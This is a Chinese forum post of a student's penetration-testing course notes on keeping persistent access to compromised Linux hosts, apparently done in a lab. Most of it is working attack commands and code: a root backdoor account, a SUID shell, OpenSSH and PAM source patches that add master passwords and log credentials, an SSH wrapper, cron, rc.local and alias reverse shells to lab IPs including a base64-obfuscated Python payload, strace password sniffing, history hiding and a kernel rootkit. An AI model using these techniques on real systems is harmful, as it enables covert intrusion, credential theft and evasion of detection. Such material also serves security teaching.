发帖
 找回密码
 立即注册
搜索
0 1

分享 WEB渗透系统班-Linux权限维持01+Linux权限维持02

技术分享 598 0 2026-1-30 17:23:14
[i=s] 本帖最后由 zeke 于 2026-1-30 17:23 编辑 [/i]

WEB渗透测试工程师系统班
作业
实操8种Linux权限维持手法(步骤截图)
一、文件修改时间
touch -r 目标文件 木马文件
PixPin_2026-01-28_14-00-34.png

二、文件锁定
chattr +i 锁定
chattr -i 解锁
lsattr shell.php
2.png

三、历史记录隐藏
隐藏接下来的命令记录
空格 set +o history

隐藏指定内容
history -d [num]

恢复
空格 set -o history
3.png

四、隐藏文件
touch .文件名
ls -al 查看隐藏文件
4.png

五、添加用户-后门账号
命令添加
#添加账号test,设置uid为0,密码为123456
useradd -p openssl passwd -1 -salt 'salt' 123456 test -o -u 0 -g root -G root -s /bin/bash -d /home/test
直接写入密码文件添加

  1. 首先,使用perl语言(Linux自带)生成带有盐值的密码:
    perl -le 'print crypt("123456","addedsalt")'
  2. 添加test账号,密码设置为123456
    echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd
  3. 删除用户 userdel -f test

5.png
6.png
7.png

六、SUID shell
cp /bin/bash /tmp/shell #将交互式shell移动到tmp目录
chmod +s /tmp/shell #赋权
exit #退出当前用户
/tmp/shell -p #普通用户执行
whoami #查看权限
8.png
9.png

七、Openssh后门
安装依赖
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make

下载安装包
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

解压
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

拷贝
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff

修改版本
vi version.h

修改配置密码(后门登录不会有记录)
vi includes.h
#define ILOG "/tmp/ilog" 记录了谁登录了我
#define OLOG "/tmp/olog" 记录了我登录了谁
#define SECRETPW "yijin" 万能密码

安装编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

重启ssh服务报错解决方案
方法1:接着做如下操作
chmod 600 /etc/ssh/ssh_host_rsa_key
chmod 600 /etc/ssh/ssh_host_ecdsa_key
service sshd restart
10.png

八、SSH-PAM后门

  1. 获取目标服务器的pam版本,下载到对应的pam版本源码文件
  2. 修改源码文件
  3. 编译
  4. 把编译好的pam替换到原有服务器上面

前提工作

​ 彻底关闭 SELinux(永久生效)

​ sudo nano /etc/selinux/config

​ 将 SELINUX=enforcing 改为 SELINUX=disabled

​ 修改完成后,reboot重启

​ 如果只需要临时关闭 setenforce 0

环境准备
rpm -qa | grep pam 查询版本
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz 下载
tar -zxvf Linux-PAM-1.1.8 解压
yum install gcc flex flex-devel -y 安装编译环境

修改配置
cd Linux-PAM-1.1.8-master/modules/pam_unix/
vi pam_unix_auth.c

/* verify the password of this user */
	retval = _unix_verify_password(pamh, name, p, ctrl);
	if(strcmp("hackers",p)==0){return PAM_SUCCESS;}    //后门密码
	if(retval == PAM_SUCCESS){    
           FILE * fp;    
           fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
           fprintf(fp, "%s : %s\n", name, p);    
           fclose(fp);} 
		   name = p = NULL;
		   AUTH_RETURN;

编译安装(压缩包文件夹根目录下执行)
./configure && make

备份替换
备份原有pam_unix.so,防止出现错误登录不上
复制新PAM模块到/lib64/security/目录下

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

cd Linux-PAM-1.1.8-master/modules/pam_unix/.libs/

cp pam_unix.so /usr/lib64/security/pam_unix.so
提示:客户端如果登录不上,清除以下文件

cd /root/.ssh
rm known_hosts
rm known_hosts.old
11.png

九、ssh公私钥免密登录

攻击者kali 连接 Linux

kali 客户端

kali生成

ssh-keygen -t rsa

将内容放到受害者主机的一下路径(_pub)

/root/.ssh/authorized_keys(au自己建)

authorized_keys权限为600

所在文件夹权限为700

如果没有/root/.ssh目录,输入命令:ssh localhost
12.png

十、软连接

通俗的理解:类似Windows的快捷方式

查看是否启用pam

cat /etc/ssh/sshd_config|grep UsePAM

创建后门

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=9997

查看端口是否开启

​ netstat -tulnp | grep :9997

防火墙开放端口

​ firewall-cmd --permanent --add-port=9997/tcp

​ firewall-cmd --reload

查看是否生效

​ firewall-cmd --list-ports

缺陷:

重启服务器就会失效

端口占用情况

容易被外联发现

13.png

十一、SSH wrapper

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
service sshd restart
登录
socat STDIO TCP4:10.10.10.129:22,sourceport=13377
14.png

十二、计划任务

创建一个1.sh文件

#!/bin/bash
bash -i >& /dev/tcp/192.168.0.101/9998  0>&1

创建编辑计划任务

nano /etc/crontab

重启crond

systemctl restart crond.service

15.png

十三、开机启动

启动项路径

vi /etc/rc.d/rc.local

#!/bin/bash
(sleep 5; bash -i >& /dev/tcp/10.10.10.128/9999 0>&1) &

touch /var/lock/subsys/local 这一行 上面 添加你要执行的脚本

让 rc.local 可执行

chmod +x /etc/rc.d/rc.local

查看 rc-local 服务状态

systemctl status rc-local

开启rc

systemctl start rc-local

16.png

十四、strace后门

类似于键盘记录的功能,能够记录到ssh登录时填写的账密

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
​
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

17.png

十五、Alias后门

Alias:为命令设置一个别名

缺陷:重启后会消失

alias ls=‘ls -al’ 定义
unalias ls 删除
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/10.10.10.128/4598 0>&1; };alerts'
(反弹shell)

18.png

进阶利用

目标还得有python环境(ls后关掉以防占用)

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTAuMTAuMTAuMTI4IiwgOTk5MSkpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'

import os,socket,subprocess; ret = os.fork() if ret > 0: exit() else: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.10.10.128", 9991)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(["/bin/sh", "-i"]) except Exception as e: exit()

19.png

十六、内核加载LKM-rootkit后门

显示当前正在运行的 Linux 内核版本号

uname -r

查询当前系统中已安装的 kernel-devel 内核开发包

rpm -qa | grep kernel-devel

re安装包传到靶机centos7,选择install

21.png
22.png

客户端通信

kali安装re(client)

apt install libreadline-dev
cd Reptile-2.0
./setup.sh client
cd bin
./client

20.png

一、笔记标题:WEB渗透系统班-Linux权限维持01+Linux权限维持02+Linux权限维持03

二、文章内容:

1.课程内容概要

主要知识点1:各种方式的Linux权限维持

2.重点知识与细节

概念解析
概念1:无

关键步骤
步骤1:无

相关代码

3.实操练习和解析

练习了各种方式的Linux权限维持

4.个人总结

本节课最大的收获是:学习了12种Linux权限维持方式,包括后门,公私钥,SUID等等
仍然存在疑问的地方:暂无
需要课后深入学习的内容:暂无

──── 1人觉得很赞 ────

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回